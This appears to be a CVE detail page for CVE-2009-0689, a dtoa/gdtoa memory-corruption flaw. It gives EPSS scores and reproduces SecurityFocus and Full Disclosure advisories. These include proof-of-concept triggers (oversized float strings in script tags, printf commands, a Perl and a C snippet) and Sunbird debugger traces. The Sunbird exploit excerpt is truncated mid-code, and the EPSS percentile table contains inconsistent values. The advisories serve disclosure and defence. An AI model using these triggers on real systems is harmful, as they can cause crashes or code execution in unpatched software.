CVE-2009-0689 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	45.69%	–	–
2023-03-12	–	–	–	97.22%	–
2023-04-09	–	–	–	96.96%	–
2023-05-21	–	–	–	96.9%	–
2023-07-09	–	–	–	96.93%	–
2023-08-20	–	–	–	97.01%	–
2023-10-08	–	–	–	97%	–
2024-06-02	–	–	–	97%	–
2024-12-22	–	–	–	96.98%	–
2025-01-19	–	–	–	96.98%	–
2025-03-18	–	–	–	–	53.59%
2025-04-06	–	–	–	–	44.77%
2025-04-06	–	–	–	–	44.77,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2023-03-12	1%
2023-04-09	1%
2023-05-21	1%
2023-07-09	1%
2023-08-20	1%
2023-10-08	1%
2024-06-02	1%
2024-12-22	1%
2025-01-19	1%
2025-03-18	98%
2025-04-06	97%
2025-04-06	97%

source: https://www.securityfocus.com/bid/37688/info MATLAB is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index. Attackers may exploit this issue to execute arbitrary code within the context of affected applications. MATLAB R2009b is affected; other versions may also be vulnerable. cxib=0.<?php echo str_repeat("1",296450); ?>

source: https://www.securityfocus.com/bid/36851/info Mozilla Firefox is prone to a heap-based buffer-overflow vulnerability. An attacker can exploit this issue by tricking a victim into visiting a malicious webpage to execute arbitrary code and to cause denial-of-service conditions. NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities). NOTE 2: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record. <script> var a=0.<?php echo str_repeat("1",296450); ?>; </script>

source: https://www.securityfocus.com/bid/37080/info KDE is prone to a remote code-execution vulnerability that affects KDELibs. Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions. NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record. This issue affects KDE KDELibs 4.3.3; other versions may also be affected. <script> var a=0.<?php echo str_repeat("1",296450); ?>; </script>

source: https://www.securityfocus.com/bid/35510/info Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index. Attackers may exploit this issue to execute arbitrary code within the context of affected applications. The following are vulnerable: OpenBSD 4.5 NetBSD 5.0 FreeBSD 6.4 and 7.2 Other software based on the BSD code base may also be affected. The following proof-of-concept shell commands are available: printf %1.262159f 1.1 printf %11.2109999999f printf %11.2009999999f printf %11.2009999999f The following proof-of-concept Perl script is available: #!/usr/local/bin/perl printf "%0.4194310f", 0x0.0x41414141; The following proof-of-concept J program is available: cxib=0.<?php echo str_repeat("1",296450); ?>

source: https://www.securityfocus.com/bid/37078/info Opera Web Browser is prone to a remote code-execution vulnerability. Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions. NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record. This issue affects Opera 10.01; other versions may also be affected. <script> var a=0.<?php echo str_repeat("1",296450); ?>; </script>

// source: https://www.securityfocus.com/bid/37687/info Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index. Attackers may exploit this issue to execute arbitrary code within the context of affected applications. Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable. #include <stdio.h> #include <stdlib.h> int main () { char number[] = "0.1111111111...11", *e; double weed = strtod(number, &e); printf("grams = %lf\n", weed); return 0; }

full disclosure: http://seclists.org/fulldisclosure/2009/Dec/253 [ Sunbird 0.9 Array Overrun (code execution) ] Author: Maksymilian Arciemowicz and sp3x http://SecurityReason.com Date: - Dis.: 07.05.2009 - Pub.: 11.12.2009 CVE: CVE-2009-0689 CWE: CWE-199 Risk: High Remote: Yes Affected Software: - Sunbird 0.9 NOTE: Prior versions may also be affected. Original URL: http://securityreason.com/achievement_securityalert/77 --- 0.Description --- Mozilla Sunbird is a cross-platform calendar application, built upon Mozilla Toolkit. Our goal is to provide you with a full-featured and easy to use calendar application that you can use around the world. --- 1. Sunbird 0.9 Remote Array Overrun (Arbitrary code execution) --- The main problem exist in dtoa implementation. Sunbird has the same dtoa as Firefox, etc. Problem exist in js3250.dll (version 4.0.0 - Netscape 32-bit JavaScript Module) DLL library and it is the same like SREASONRES:20090625. http://securityreason.com/achievement_securityalert/63 but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, http://securityreason.com/achievement_securityalert/69 We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16>test.ics'); print myfile $header.$s.$expl.$footer; ----------------------- 0:000> r eax=015e06f9 ebx=00000001 ecx=658cebec edx=00000002 esi=015e0710 edi=015e06f9 eip=600f154f esp=0012e330 ebp=0012e35c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 js3250!JS_strtod+0xb0a: 600f154f 8b01 mov eax,dword ptr [ecx] ds:0023:658cebec=???????? 0:000> ub 600f1551 js3250!JS_strtod+0xaf2: 600f1537 83c414 add esp,14h 600f153a 8b75fc mov esi,dword ptr [ebp-4] 600f153d e96bf5ffff jmp js3250!JS_strtod+0x68 (600f0aad) 600f1542 56 push esi 600f1543 57 push edi 600f1544 8b7c240c mov edi,dword ptr [esp+0Ch] 600f1548 8d0cbd08d01460 lea ecx,js3250!js_XMLClass+0x560 (6014d008)[edi*4] 600f154f 8b01 mov eax,dword ptr [ecx] 0:000> !exchain 0012fc9c: USER32!_except_handler3+0 (7e39048f) CRT scope 0, func: USER32!UserCallWinProc+10a (7e39ac2d) 0012fcf4: USER32!_except_handler3+0 (7e39048f) CRT scope 0, filter: USER32!DispatchMessageWorker+113 (7e39074a) func: USER32!DispatchMessageWorker+126 (7e390762) 0012fd5c: sunbird!jpeg_mem_term+eb7 (00849745) 0012ffb0: sunbird!jpeg_fdct_islow+266a4 (00848818) 0012ffe0: kernel32!_except_handler3+0 (7c839ac0) CRT scope 0, filter: kernel32!BaseProcessStart+29 (7c843882) func: kernel32!BaseProcessStart+3a (7c843898) Invalid exception stack at ffffffff 0:000> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0012e35c 600f15f3 js3250!JS_strtod+0xb0a 0012e37c 600f0ef9 js3250!JS_strtod+0xbae 0012e3f4 6010e8eb js3250!JS_strtod+0x4b4 0012e448 6010e3c6 js3250!JSLL_MinInt+0x1dcf 0012e46c 60103fb5 js3250!JSLL_MinInt+0x18aa 0012e5dc 6010195e js3250!js_Invoke+0x2c1b 0012e694 60101cb2 js3250!js_Invoke+0x5c4 0012e71c 60101e0a js3250!js_Invoke+0x918 0012e74c 6011350d js3250!js_Invoke+0xa70 0012e7a4 600e3c41 js3250!js_FindProperty+0x974 0012e7bc 004274cf js3250!JS_SetProperty+0x36 0012e978 0042593e sunbird!NS_RegistryGetFactory+0x1c585 0012ea44 6035c7f1 sunbird!NS_RegistryGetFactory+0x1a9f4 0012ea60 6035d30b xpcom_core!nsXPTCStubBase::Stub3+0x20 0012ea74 00421fde xpcom_core!XPTC_InvokeByIndex+0x27 0012ec2c 0041fe00 sunbird!NS_RegistryGetFactory+0x17094 0012ecc0 60101906 sunbird!NS_RegistryGetFactory+0x14eb6 0012ed80 60101cb2 js3250!js_Invoke+0x56c 0012ee08 60101e0a js3250!js_Invoke+0x918 0012ee38 6011350d js3250!js_Invoke+0xa70 --- 3. SecurityReason Note --- Officialy SREASONRES:20090625 has been detected in: - OpenBSD - NetBSD - FreeBSD - MacOSX - Google Chrome - Mozilla Firefox - Mozilla Seamonkey - Mozilla Thunderbird - Mozilla Sunbird - Mozilla Camino - KDE (example: konqueror) - Opera - K-Meleon - F-Lock This list is not yet closed. --- 4. Fix --- NetBSD fix (optimal): http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c --- 5. Credits --- Discovered by sp3x and Maksymilian Arciemowicz from SecurityReason.com. --- 6. Greets --- Infospec p_e_a pi3 --- 7. Contact --- Email: - cxib {a.t] securityreason [d0t} com - sp3x {a.t] securityreason [d0t} com GPG: - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg - http://securityreason.com/key/sp3x.gpg http://securityreason.com/ http://securityreason.pl/